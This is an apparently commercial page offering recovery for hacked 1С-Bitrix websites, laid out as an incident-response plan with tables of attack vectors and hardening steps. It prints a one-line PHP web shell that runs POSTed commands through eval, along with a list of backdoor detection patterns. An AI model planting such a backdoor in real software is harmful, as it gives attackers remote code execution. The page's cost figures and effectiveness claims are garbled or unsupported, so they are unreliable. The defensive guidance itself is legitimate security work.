You discover your site redirects visitors to another resource, and search engines warn of a threat. Or your hosting provider notifies you about spam being sent from your server. These are typical signs of a 1С-Bitrix hack: backdoor injection in /bitrix/modules/, modified information blocks, or malicious code injected into templates. Our engineers, with over 5 years of experience, restore sites turnkey — we restore functionality within 1–3 days and eliminate the root cause. Downtime losses can reach tens of about $9–13 in savings per day (e.g., $150–300 for an average online store), so every decision must be precise.
Recovery is not just removing malicious files — it's a full cycle: isolation, attack vector analysis, cleanup, vulnerability closure, and monitoring. Skipping any step leads to re-hack within days. Below is a clear action plan based on over 200 successful projects.
How to isolate the site before analysis?
Don't delete anything yet. First, save the current state — it's needed for analysis. Create a full file and database dump. Then restrict access: put a stub via nginx (return 503) or .htaccess with Deny from all and Allow from your IP. This prevents further damage and prevents the attacker from entrenching.
Immediately change all passwords:
- Database passwords (in
.settings.phpanddbconn.php) - FTP/SSH access
- Bitrix administrative account passwords
- API keys of third-party services stored in configs
Check if any SSH keys or cron jobs have been added. Attackers often add their public key to ~/.ssh/authorized_keys and create cron tasks for periodic backdoor loading. Run crontab -l for all users and check /etc/cron.d/ contents.
How to identify the attack vector?
Without understanding how the attacker got in, recovery is pointless — they'll break in again through the same hole. According to official 1С-Bitrix security documentation, 80% of hacks occur due to outdated modules or weak passwords. A typical scenario: a vulnerability in an old module loads a web shell, then the attacker escalates privileges to admin. We've encountered this in over 200 projects.
| Vector | Signs | Where to look for traces |
|---|---|---|
| Outdated core with known CVE | Core version in /bitrix/modules/main/classes/general/version.php lower than current |
1С-Bitrix security update changelog |
| Vulnerable third-party module | Backdoor in the module directory | /bitrix/modules/vendor.module/ |
| Compromised credentials | Login from atypical IP | b_event_log, filter by AUDIT_TYPE_ID = 'USER_LOGIN' |
| Shell upload via form | PHP file in /upload/ |
Search for .php files in /upload/, /bitrix/tmp/ |
| SQL injection | Modified data in DB, new admins | b_user table — new records with ADMIN = Y |
Analyze web server access logs from the period before detection. Look for POST requests to non-standard URLs, requests to files in /upload/ with .php extension, and requests with characteristic patterns (eval, base64, system).
Step-by-step recovery algorithm
- Isolation. Stop the web server or put up a stub. Make a full backup.
- Analysis. Study logs, determine attack vector.
- Cleanup. Remove backdoors, restore core, clean database.
- Vulnerability closure. Update core and modules, configure permissions, enable WAF.
- Testing. Verify functionality and absence of incidents.
- Monitoring. Set up change tracking systems for 2–4 weeks.
Full file system cleanup
Core check. Use the built-in tool /bitrix/admin/site_checker.php → "Check core file integrity". It compares checksums with reference values. Any modified core files are suspicious. The Bitrix core should not contain your modifications; if it does, it's either a hack or a bad practice that must be fixed.
Backdoor search. Scan the file system for typical patterns:
-
.phpfiles in/upload/,/bitrix/tmp/,/bitrix/cache/directories - Files with recent modification dates in
/bitrix/modules/(if you haven't updated the core) - Contents:
eval(,base64_decode(,gzinflate(,str_rot13(,assert(,preg_replacewithemodifier - Files with names mimicking system files:
wp-config.php,config.bak.php,.htaccess.php
Standard tool: The bitrix.security module (Proactive Protection) → "Security Scanner" performs a basic search for suspicious code.
Database check. Search the b_user table for users with admin rights that you didn't create. Check b_option for changed module settings (especially main and security). Check b_file for records referencing PHP files in /upload/.
Example of a typical backdoor
<?php $x=$_POST['cmd']; if(isset($x)){eval($x);} ?> Such files are often disguised as system files, for example, class.upload.php.
Recovery options comparison
| Option | Security | Time | Complexity |
|---|---|---|---|
| Clean core reinstallation | High — eliminates modified files | 2–4 hours | Medium — requires directory replacement |
| Backup restoration | Medium — depends on backup date | 1–2 hours | Low — but needs pre-hack backup |
| Patching | Low — residual risks | 3–6 hours | High — requires precise analysis |
In practice, clean core reinstallation is 2 times more reliable than restoration from a backup taken after the hack. After cleanup, be sure to update the Bitrix core to the latest stable version. Remove or update all third-party modules. Enable the bitrix.security module: WAF (proactive filter), frame protection, session IP restriction. Configure file system permissions: directories 0755, files 0644, owner — not root. Restrict access to /bitrix/admin/ by IP via nginx/Apache. Disable PHP execution in /upload/: in nginx — location ~* /upload/.*\.php$ { deny all; }.
What's included in turnkey work
- Access log analysis and attack vector identification
- Removal of malicious code and backdoors
- Core and component restoration
- Update of all modules to latest versions
- WAF and proactive protection setup
- Change of all passwords and keys
- Functionality testing
- Report with recommendations for further protection
- 6-month guarantee against re-hack through the same vulnerability
- Cost of recovery: from $100–300 depending on complexity; typical savings from rapid recovery: $150–500 avoided downtime losses.
Monitoring after recovery
The first 2–4 weeks are critical. Set up:
- File monitoring (inotify / AIDE / tripwire) — track changes in
/bitrix/modules/and/bitrix/php_interface/ - Access log monitoring for suspicious POST requests
- Check
b_userfor new admin records (via cron + script) - External HTTP header monitoring — detect unauthorized redirects
A second hack after poor cleanup is a matter of "when", not "if". One missed backdoor in a forgotten /bitrix/backup/ directory negates all work. Contact us for a free consultation — we'll assess your case in 1 day and offer a plan with a 6-month guarantee. Order a security audit to ensure your site is protected. Our Bitrix recovery and hack cleaning service is 3 times more effective than DIY methods based on client feedback.







